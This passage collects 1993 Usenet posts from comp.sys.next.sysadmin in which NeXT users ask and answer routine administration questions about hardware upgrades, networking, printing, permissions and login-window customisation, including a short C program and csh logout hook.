From: cfa0802@tamuts.tamu.edu (Colin Allen) Newsgroups: comp.sys.next.sysadmin Subject: Problem upgrading to 040 Date: 15 Feb 1993 21:44:30 GMT Organization: Texas A&M University, College Station Distribution: world Message-ID: <1lp2ruINNba0@tamsun.tamu.edu> I must be one of the last people in the world to upgrade to an '040 processor in my cube, but better late than never. However, it is not going smoothly. Anyone who can explain what the problem is here, please let me know! (I have had some contact with NeXT but they are on holiday today for Presidents' Day and so far their suggestions have caused me to spend 500 additional dollars with no results.) The system boots up and is alive on the network but has only a grey screen and (movable) mouse arrow on the screen. After an hour or so, it crashes and put this message in the nmi monitor: panic: (CPU 0) zalloc While it is alive I can telnet from another machine and I think I know why the system is crashing. The /private/adm/messages file is getting the following line added to it repetitively: syslog: loginwindow: Window Server service already registered If as root I try to execute loginwindow from the shell it comes back with a Bus Error message. So, it looks as though the system crash is caused by repeated attempts to start loginwindow causing the messages file to grow until the disk runs out of space. (That would explain the memory allocation problem which is what I presume zalloc indicates.) NeXT first suggested taking the battery out for half an hour, but this did not work. They then suggested that my old RAM was too slow so I replaced it with new faster memory, still with no success. To me, it sounds like a software error, no? Why would the Window Server think it already is providing a loginwindow service? Thanks. Colin Allen e343ca@tamuts.tamu.edu Department of Philosophy colin@snaefell.tamu.edu Texas A&M University College Station, TX 77843-4237 (409) 845-3606
From: jkeenan@next.com (Joe Keenan) Newsgroups: comp.sys.next.sysadmin Subject: Re: ** The currently logged in person owns all external files ** Message-ID: <6806@rosie.NeXT.COM> Date: 15 Feb 93 21:33:55 GMT References: <1993Feb11.182122.18353@serval.net.wsu.edu> Sender: news@NeXT.COM In article <1993Feb11.182122.18353@serval.net.wsu.edu> jblatt@wsuaix.csc.wsu.edu (Jeff Blatt - Forest Service) writes: > I didn't want this. So I followed the proceedure in the SysAdmin > manual to add an entry in my /etc/fstab file. This also went smoothly > except it didn't solve the problem. The procedure in the 3.0 SysAdmin manual (pg 185 of hardcopy) has a typo. The edited fstab entry under step 4 should NOT have the 'noauto' parameter. Take that out of your new fstab entry and it should work.
Newsgroups: comp.sys.next.sysadmin From: john@oceania.com (John Robison) Subject: SLIP and Telebit PEP Modems Message-ID: <C2IFH3.M4K@oceania.com> Sender: john@oceania.com (John Robison) Organization: Oceania Health Care Systems References: <MfRw_cb0BwyOBgxm9b@transarc.com> Distribution: na Date: Mon, 15 Feb 1993 21:53:24 GMT Ward Travis writes: > > Voila. PEP compression was getting in the way. Perhaps it's > fragmenting the IP packets, inducing timeouts in the router, and the > router is just dropping the shards on the floor (as it should?). Who > knows. > > I suspect the moral here is, don't use PEP compression for SL/IP > lines. Be happy with just PEP (which works reliably for me). If this is > old news, please forgive the repetition. > I can second this. We tried two Telebits (T2500) - with and without PEP. With PEP - they went about 4x slower than without. later, John -- John Robison - john@oceania.com NeXTMail Gladly Accepted What I say has absolutely nothing to do with my employer.
From: pcwood@astro.ocis.temple.edu (Paul Wood) Newsgroups: comp.sys.next.sysadmin Subject: echo login/passwd problem Summary: login and password echoing Keywords: telnet, login, echo Message-ID: <1993Feb15.215802.9278@cronkite.ocis.temple.edu> Date: 15 Feb 93 21:58:02 GMT Sender: news@cronkite.ocis.temple.edu (NetWork News (readnews)) Organization: Temple University Our next cube running 3.0 has a problem of echoing login and password when telnetting to anywhere. We first thought it might be a security breach but can find no evidence of tampering. Any ideas? example: % telnet somewhere.else.edu login: joe joe <-- shouldnt echo password: pizza <-- shouldnt echo -- -=( Paul Wood )=- -=( pcwood@astro.ocis.temple.edu )=-
From: holschdm@nextwork.rose-hulman.edu (David M. Holscher) Newsgroups: comp.sys.next.sysadmin Subject: Randomizing the loginwindow tiff Date: 15 Feb 1993 23:34:58 GMT Organization: Computer Science Department at Rose-Hulman Distribution: world Message-ID: <1lp9b2INNc4v@master.cs.rose-hulman.edu> Hi. After staring at the same loginwindow for a few weeks I grew tires of it and replaced it. I found myself doing this often enough - when I got the idea to randomize the loginwindow tiff. In case you are interested here is how to do it. First you will need a program or such like the following (I called the executable randa and put it in /usr/local/bin): /* * randa.c * Program to pick an argument at random. */ #include <libc.h> #include <stdio.h> #include <time.h> void main(int argc, char **argv) { srandom(time(NULL)); if(argc < 2) { puts("usage: randa arg1 [arg2] [arg3] ... [argn]"); puts("returns an argument at random"); } else { puts(argv[(random() % (argc - 1)) + 1]); } } Then you will need a LogoutHook which is something like the following (I called this file LogoutHook and put it in /usr/local/etc/): #!/bin/csh ## I'm getting a list of files using ls in a directory ## full of logintiffs. You can do it anyway you want. set files=`ls /usr/local/lib/logintiffs/*.tiff` /usr/bin/dwrite loginwindow ImageFile \ `/usr/local/bin/randa $files` ## ## We need a way to restart the loginwindow on logout ## This is cheesy, but I can't think of anything else. ## kill -9 `/bin/ps -aux | /bin/grep WindowServer | \ /bin/grep -v grep | /bin/awk '{print $2}'` Now you will need to do the following dwrite as root: dwrite loginwindow LogoutHook /usr/local/etc/LogoutHook Now all you need to do is get a directory full of loginwindow tiffs (I called mine /usr/local/lib/logintiffs). Enjoy, David Holscher B.T.W. If anyone has a better way of starting loginwindow let me know. Thanks.
From: zazula@soliton.physics.arizona.edu (Ralph Zazula) Newsgroups: comp.sys.next.sysadmin Subject: file permissions Message-ID: <1993Feb14.220334.15434@galileo.physics.arizona.edu> Date: 14 Feb 93 22:03:34 GMT Sender: zazula@pri.com Organization: Pinnacle Research, Inc. Hi - I would like for files saved by multiple users in a particular directory to all have the same set of permissions. Basically, this directory is shared by users in the same group. So, I'd like to have the permissions set to group-read/write. What seems to happen is each user saves the file with whatever permissions they have set in Preferences. Is there any way to force certain permissions to be set when saving into a directory? I thought there was something I could do to the directory entry itself to make this happen... Thanks in advance, Ralph --- Ralph Zazula Pinnacle Research, Inc. Productivity and Creativity applications for NeXTSTEP Custom Programming zazula@pri.com (NeXT Mail) (602)529-1135
Newsgroups: comp.sys.next.sysadmin From: outland!jmast@ms.uky.edu (John A. Mastrolia) Subject: Login Screen Dimmer? Message-ID: <C2J3Lz.48F@outland.uucp> Sender: jmast@outland.uucp (John A. Mastrolia) Organization: Kentucky NeXT Users Group (KYNUG) Date: Tue, 16 Feb 1993 06:34:47 GMT I'd like to have my login screen dim to black or as close to it as possible. The screen diming the OS provides does not black the screen to an acceptable level. Anyone have a suggestion on software or OS options to cure a glowing screen through all hours of the night? Thanks in advance. -- ------------------- John A. Mastrolia (Politically, Fashionably, and Aerodynamically Incorrect) outland!jmast@ms.uky.edu
From: rmyers@dec5200.acs.uci.edu (Richard Myers) Subject: Connecting to NetWare Message-ID: <2B812170.4031@news.service.uci.edu> Newsgroups: comp.sys.next.sysadmin Organization: University of California, Irvine Date: 16 Feb 93 17:16:32 GMT I intend to connect the NeXT at work to the Novell FileServer and have a few questions: 1. Can I move/rename/create/delete/edit files on the Novell system, or just 'see' them? 2. Has anyone had any good/bad experiences using 10baseT to do the job (v. ethernet). 3. What kind of performance hit can I expect to see on the server and the NeXT? 4. How tricky is the whole thing to set up? Please reply via mail, Thanks much, Kurt
From: rmyers@dec5200.acs.uci.edu (Richard Myers) Subject: Compiling from CD... Message-ID: <2B8121ED.4062@news.service.uci.edu> Newsgroups: comp.sys.next.sysadmin Organization: University of California, Irvine Date: 16 Feb 93 17:18:37 GMT References: <2B812170.4031@news.service.uci.edu> YES I WANT TO USE THE COMPILER AS-IS ON THE CD TO COMPILE SOME CODE. Just a few packages, and just once each. Yes I have time, and yes I can wait. My question is: What links do I need to set up to compile from CD? Please reply via mail, Kurt
Newsgroups: comp.sys.next.sysadmin From: lindner@danzig.micro.umn.edu (Paul Lindner) Subject: Reboot after a crash? How? Message-ID: <C2K0Fw.LAH@news.cis.umn.edu> Keywords: reboot crash nextstep 2.2 Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Minneapolis Date: Tue, 16 Feb 1993 18:23:41 GMT We have some NeXTstations that get the crap beaten out of them network wise... Eventually they run out of mbufs or the swapfile goes outta control. The result is a crash. Unfortunately NeXTstep doesn't automatically reboot. This requires human intervention.. (Nothing like getting beeped on valentines day during dinner, so romantic :-) Any way around this? I checked the ROM monitor to no avail... -- | Paul Lindner | lindner@boombox.micro.umn.edu | Slipping into madness | | Computer & Information Services | is good for the sake | Gophermaster | University of Minnesota | of comparision. ///// / / / /////// / / / / / / / / //// / / / / / / / /
Newsgroups: comp.sys.next.sysadmin From: mehta-anand@yale.edu (Anand R. Mehta) Subject: nameserver help needed Message-ID: <mehta-anand-160293145922@ccl-kstar-node.net.yale.edu> Followup-To: comp.sys.next.sysadmin Sender: news@news.yale.edu (USENET News System) Organization: Academic Computing Services Date: Tue, 16 Feb 1993 20:10:02 GMT Hi, I have a NeXTturbo Mono that I am trying to connect to the internet via ppp. The machine works well with all hosts that are in the hosts files (and niloaded), but if for some reason name resolution is called for, the ppp connection seems to grind to a screeming halt; a few minutes later it becomes 'functional' again, until the same thing occurs almost immediately. My resolv.conf file is in order, and nslookup does work with the specified IP address. For example, nslookup mit.edu 130.132.1.9 works, while ping mit.edu will not. I've enclosed the ppp log, so if anyone can help, I'd be greatful. -Anand Academic Computing Services Yale University mehta-anand@yale.edu 2/16-11:12:04-159 udp 130.132.21.139/2603 -> 130.132.1.9/domain 66 2/16-11:12:04-159 udp 130.132.21.139/2600 <- 130.132.1.9/domain 141 2/16-11:12:04-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.9/domain 141 2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.10/domain 141 2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.11/domain 141 2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.9/domain 141 2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.10/domain 141 2/16-11:12:05-159 udp 130.132.21.139/2603 -> 130.132.1.10/domain 66 2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.11/domain 141 2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:12:05-159 udp 130.132.21.139/2601 <- 130.132.1.9/domain 227 2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:12:05-159 udp 130.132.21.139/2601 <- 130.132.1.10/domain 231 2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.9/domain 227 2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.11/domain 227 2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.10/domain 231 2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.11/domain 231 2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.9/domain 227 2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:12:06-159 udp 130.132.21.139/2603 -> 130.132.1.11/domain 66 2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.10/domain 231 2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.11/domain 231 2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:12:07-159 udp 130.132.21.139/2601 <- 130.132.1.9/domain 227 2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:12:07-159 udp 130.132.21.139/2601 <- 130.132.1.10/domain 231 2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:12:07-159 udp 130.132.21.139/2601 <- 130.132.1.11/domain 231 2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:12:07-159 udp 130.132.21.139/2603 <- 130.132.1.9/domain 118 2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:12:07-159 udp 130.132.21.139/2603 <- 130.132.1.10/domain 118 2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:12:07-159 udp 130.132.21.139/2603 <- 130.132.1.11/domain 118 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.9/domain 79 2/16-11:13:59-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 41 (c) 2/16-11:13:59-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 45 (u) 2/16-11:13:59-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 47 (u) 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.10/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.11/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.9/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.10/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.11/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.9/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.10/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.11/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.9/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.10/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.11/domain 79 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.9/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.10/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.11/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.9/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.10/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.11/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.9/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.10/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.11/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.9/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.10/domain 66 2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.11/domain 66 2/16-11:14:00-159 udp 130.132.21.139/2604 <- 130.132.1.9/domain 154 2/16-11:14:00-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:14:00-159 tcp 130.132.21.139/2604 <- 130.132.20.178/telnet 41 (c) 2/16-11:14:00-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 40 (c) 2/16-11:14:00-159 tcp 130.132.21.139/2604 <- 130.132.20.178/telnet 83 (c) 2/16-11:14:00-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 40 (c) 2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.10/domain 154 2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.11/domain 154 2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:14:01-159 tcp 130.132.21.139/2604 <- 130.132.20.178/telnet 56 (c) 2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.9/domain 154 2/16-11:14:01-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 40 (c) 2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.10/domain 154 2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.11/domain 154 2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.9/domain 154 2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.10/domain 154 2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.11/domain 154 2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:14:02-159 udp 130.132.21.139/2604 <- 130.132.1.9/domain 154 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:14:02-159 udp 130.132.21.139/2604 <- 130.132.1.10/domain 154 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:14:02-159 udp 130.132.21.139/2604 <- 130.132.1.11/domain 154 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.9/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.10/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.11/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.9/domain 82 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.10/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.11/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.9/domain 82 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.10/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.11/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.9/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.10/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56 2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.11/domain 82 2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56 2/16-11:14:02-159 tcp 130.132.21.139/2604 <- 130.132.20.178/telnet 100 (u) 2/16-11:14:02-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 40 (u) 2/16-11:14:24-159 udp 130.132.21.139/2606 -> 130.132.1.9/domain 70 2/16-11:14:25-159 udp 130.132.21.139/2606 <- 130.132.1.9/domain 102 2/16-11:14:25-159 udp 130.132.21.139/2607 -> 130.132.1.9/domain 66 2/16-11:14:25-159 udp 130.132.21.139/2607 <- 130.132.1.9/domain 141 2/16-11:14:25-159 udp 130.132.21.139/2608 -> 130.132.1.9/domain 62 2/16-11:14:26-159 udp 130.132.21.139/2608 <- 130.132.1.9/domain 116 2/16-11:14:26-159 udp 130.132.21.139/2609 -> 130.132.1.9/domain 53 2/16-11:14:26-159 udp 130.132.21.139/2609 <- 130.132.1.9/domain 227 2/16-11:14:33-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 42 (c) 2/16-11:14:59-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 46 (u) 2/16-11:15:10-159 udp 130.132.21.139/2610 -> 130.132.1.10/domain 71 2/16-11:15:11-159 udp 130.132.21.139/2610 <- 130.132.1.10/domain 103 2/16-11:15:11-159 udp 130.132.21.139/2611 -> 130.132.1.10/domain 66 2/16-11:15:11-159 udp 130.132.21.139/2611 <- 130.132.1.10/domain 141 2/16-11:15:11-159 udp 130.132.21.139/2612 -> 130.132.1.10/domain 62 2/16-11:15:16-159 udp 130.132.21.139/2612 -> 130.132.1.10/domain 62 2/16-11:15:16-159 udp 130.132.21.139/2612 <- 130.132.1.10/domain 116 2/16-11:15:16-159 udp 130.132.21.139/2613 -> 130.132.1.10/domain 53 2/16-11:15:17-159 udp 130.132.21.139/2613 <- 130.132.1.10/domain 231 2/16-11:15:52-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 46 (u) 2/16-11:16:29-159 udp 130.132.21.139/2615 -> 130.132.1.9/domain 66 2/16-11:16:30-159 udp 130.132.21.139/2615 -> 130.132.1.10/domain 66 2/16-11:16:31-159 udp 130.132.21.139/2615 -> 130.132.1.11/domain 66 2/16-11:16:32-159 udp 130.132.21.139/2615 <- 130.132.1.11/domain 118
From: cew6@po.CWRU.Edu (Carlin E. Wiegner) Newsgroups: comp.sys.next.sysadmin Subject: New User Questions.... Date: 16 Feb 1993 22:33:19 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <1lrq3fINNqsd@usenet.INS.CWRU.Edu> Hi, I just got my NeXT and I have some questions. 1) How do I find out if I have 3.0 extended versus standard. I got a 400 meg drive and I asked for it but I can't find the compiler or IB or anything? 2) How do I get Digital Librarian to interface with the dictionary and man pages? Thanks for the emailed replies.... CW
From: rse8135@dewie.tamu.edu (R.S. Etheredge) Newsgroups: comp.sys.next.sysadmin Subject: problem with access denial Date: 16 Feb 1993 23:07:46 GMT Organization: Texas A&M University, College Station, TX Message-ID: <1lrs42INNf14@tamsun.tamu.edu> Howdee NeRDs, I am in deep you-know-what. I have five NeXT computers on a NetInfo network. One of these computers is acting very strangely. He won't let some bonafied user accounts access their WordPerfect files, whether new or old. It is disconcerting, for I have gone all over this system to set permissions correctly. To read the permissions, whether from root, and whether from the terminal or NextStep, or whether from the affected accounts, is to see that all the permissions are in place correctly. We can go to any of the other four computers on the NetInfo network, and access the files, regardless of account, just like we're s'posed to be abel to do. Can somebody point me at something I can turn over, or an intestine to squiggle around, so I can fix this? Thanks for your attention, and have a happy day... Rusty Etheredge rse8135@dewie.tamu.edu
From: cew6@po.CWRU.Edu (Carlin E. Wiegner) Newsgroups: comp.sys.next.sysadmin Subject: More user questions.... Date: 16 Feb 1993 23:16:33 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <1lrskiINNhg@usenet.INS.CWRU.Edu> I have book UNIX System Administration Handbook. Is this a good book to learn some system admin stuff out of or should I really get the NeXT administration one. The book is based on BSD. 1) If someone has enough time please help me set up a UUCP connection. Compensation is available. 2) Two easy ones for you guys....What do Host Manager and NetInfo Manager do? please email all replies....thanks... CW
Newsgroups: comp.sys.next.sysadmin From: kluge@avalon.physik.unizh.ch (kluge daniel) Subject: Re: CSLIP vs. SLIP.... Message-ID: <1993Feb16.234017.5690@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: University of Zurich, Department of Computer Science References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> Date: Tue, 16 Feb 1993 23:40:17 GMT cew6@po.CWRU.Edu (Carlin E. Wiegner) writes: : : Is there really a difference between CSLIP and SLIP in terms of : speed. I can get Marble's product with CSLIP for $125 but on the : other hand I can pay nothing and get SLIP for free over the internet. : Please email opinions. : CW The difference between the two is, that CSLIP uses a compression scheme, which is able to compress a complete TCP/IP Header to about 3 Bytes. On the other side, SLIP just sends a control-character at the beginning, and one at the end. As with SLIP, the source & docu on CSLIP and 'VJ-Header compression' are public domain, I can't remember neither the Site, nor the RFC Number, please contact me if interested (compiling the source is a rather difficult job) - daniel -- Daniel G. Kluge @ Swiss Federal Institute of Technology Zuerich E-Mail : kluge@avalon.physik.unizh.ch (NeXT-Mail welcome) study-related stuff : dankluge@iiic.ethz.ch DECnet : EZINFO::CLUESCH
Newsgroups: comp.sys.next.sysadmin From: chuston@nugget.rmNUG.ORG (Chris Huston) Subject: NeXT to SYSV printing Message-ID: <1993Feb17.010316.18605@nugget.rmNUG.ORG> Organization: Rocky Mountain NeXT Users' Group Date: Wed, 17 Feb 1993 01:03:16 GMT Hi, I've got an HP9000 with an HP LaserJet IIIsi attached. The IIIsi is equiped with postscript. Has anyone successfully configured a NeXT to SYS V printing system that switches the printers system lanuage? Thanks, Chris
Newsgroups: comp.sys.next.sysadmin Subject: Questions about floppies, Netinfo under 3.0 Message-ID: <93047.204911PVJQC@CUNYVM.BITNET> From: <PVJQC@CUNYVM.BITNET> Date: Tuesday, 16 Feb 1993 20:49:11 EST Organization: City University of New York/ University Computer Center Hello, I have too many questions which I hope to get answers to. 1. Interchange of 3.5" floppies between NeXTs and Suns?? I could not use a NeXT formatted (unix format) HD floppy on Sun and viceversa. Is it supposed to work?? The only I could interchange data using floppies was to format disks in DOS format. 2. I am trying to export a NeXT_Printer to a bunch of other NeXTs and Suns. All the NeXTs are currently configured as standalones under 3.0. I tried to configure the NeXT with printer as a netinfo server but I could not do it. Rather, I am not sure how to do it. Is it necessary to have a netinfo server running before one can export the printer? I have configured a netinfo network under 2.0 but could not do the same for machines running 3.0. If these questions were answered and are part of FAQ, my appologies. Thank you very much. ------- ********************************************************* * PRASHANT V. JOSHI * * COMPUTER SCIENCE DEPARTMENT * * CITY UNIVERSITY OF NEW YORK. * * INTERNET ADDRESS: PVJQC@CUNYVM.CUNY.EDU, * * BITNET ADDRESS : PRASHANT@QCVAXA.BITNET * *********************************************************
Newsgroups: comp.sys.next.sysadmin From: root@hi_presure_lab.gp.uwo.ca (Operator) Subject: Bash1.12 on 3.0 Organization: University of Western Ontario Date: Wed, 17 Feb 1993 02:39:14 GMT Message-ID: <1993Feb17.023914.6697@julian.uwo.ca> Sender: news@julian.uwo.ca (USENET News System) When compiling bash1.12 I get the following error cc -g -L./lib/readline/ -L./lib/glob/ -o bash shell.o y.tab.o general.o make_cmd.o print_cmd.o dispose_cmd.o execute_cmd.o variables.o copy_cmd.o error.o expr.o flags.o jobs.o subst.o hash.o mailcheck.o test.o trap.o alias.o braces.o unwind_prot.o version.o bashline.o builtins/libbuiltins.a -lreadline -ltermcap -lglob /bin/ld: Undefined symbols: _ulimit *** Exit 1 Stop. *** Exit 1 Stop. Any quick solutions to this problem? Peter Lenson
From: mkg@stealth.plk.af.mil (Michael K. Gleicher) Newsgroups: comp.sys.next.sysadmin Subject: Need to get netinfo entries to recreate Next 400 dpi Level II local printer Date: 12 Feb 1993 17:20:12 GMT Organization: Air Force Phillips Lab. Message-ID: <1lgm8d$el9@fg1.plk.af.mil> While using PrintManager under NS 3.0, I inadvertently managed to delete the entry for Local_Printer - after trying to update the entry and getting an the message "NetInfo problem writing 'Local_Printer' on local host", the netinfo entry for Local_Printer disappeared after quitting PrintManager. I do not have the 3.0 user manual, which may contain the information required to recreate the netinfo entry for a Next 400 dpi Level II Printer device, and would be grateful if someone would email a list of the subdirectories and properties/values that I need in order to recreate the entry. Thanks for your help. --- Mike Gleicher USAF Phillips Laboratory u7142@sn2011.plk.af.mil Kirtland AFB, Alb. NM 87117-6008 (505) 846-4176
Newsgroups: comp.sys.next.sysadmin From: outland!jmast@ms.uky.edu (John A. Mastrolia) Subject: Need Help with Sendmail Message-ID: <C2Kqw0.Ao@outland.uucp> Sender: jmast@outland.uucp (John A. Mastrolia) Organization: Kentucky NeXT Users Group (KYNUG) Date: Wed, 17 Feb 1993 03:55:11 GMT I need a source for a new sendmail file for uucp mail. I'm having some trouble with my current file (as you may see in the header of this message). Suddenly the hostnamd is local host eventhough my "hostname" command returns the correct host information. The /etc/hostconfig appears to be just fine as well. Any mail guru's out there ... I need some help. Please send mail to this address: outland!jmast@s.ms.uky.edu Thanks in advance. If at all possible, you can send the file NeXT Mail to this address with any additional instructions. -- ------------------- John A. Mastrolia (Politically, Fashionably, and Aerodynamically Incorrect) outland!jmast@ms.uky.edu
Newsgroups: comp.sys.next.sysadmin From: outland!jmast@ms.uky.edu (John A. Mastrolia) Subject: Follow up: Screen Dimmer Message-ID: <C2LCpx.to@outland.uucp> Sender: jmast@outland.uucp (John A. Mastrolia) Organization: Kentucky NeXT Users Group (KYNUG) Date: Wed, 17 Feb 1993 11:46:45 GMT Thanks to all who replied regarding my questions on login screen dimmers. A few asked for the same from me, so here is what was suggested. First, log in as root, select preferences (Screen), and then screen background color (Color well). Select black for the screen background. From this point forward black will be the default background for the login window. Second, there is a public domain program called Dimmer out in the archives. Pick it up from sonata.cc.purdue.edu and follow the simple installion instructions. It's called dimmer.tar. Another called adim was recommended by one other user. Third set your login window to move using the dwrite commands outlined in the latest FAQ bulletin. Thanks to all who responded. I had the login window moving, but was 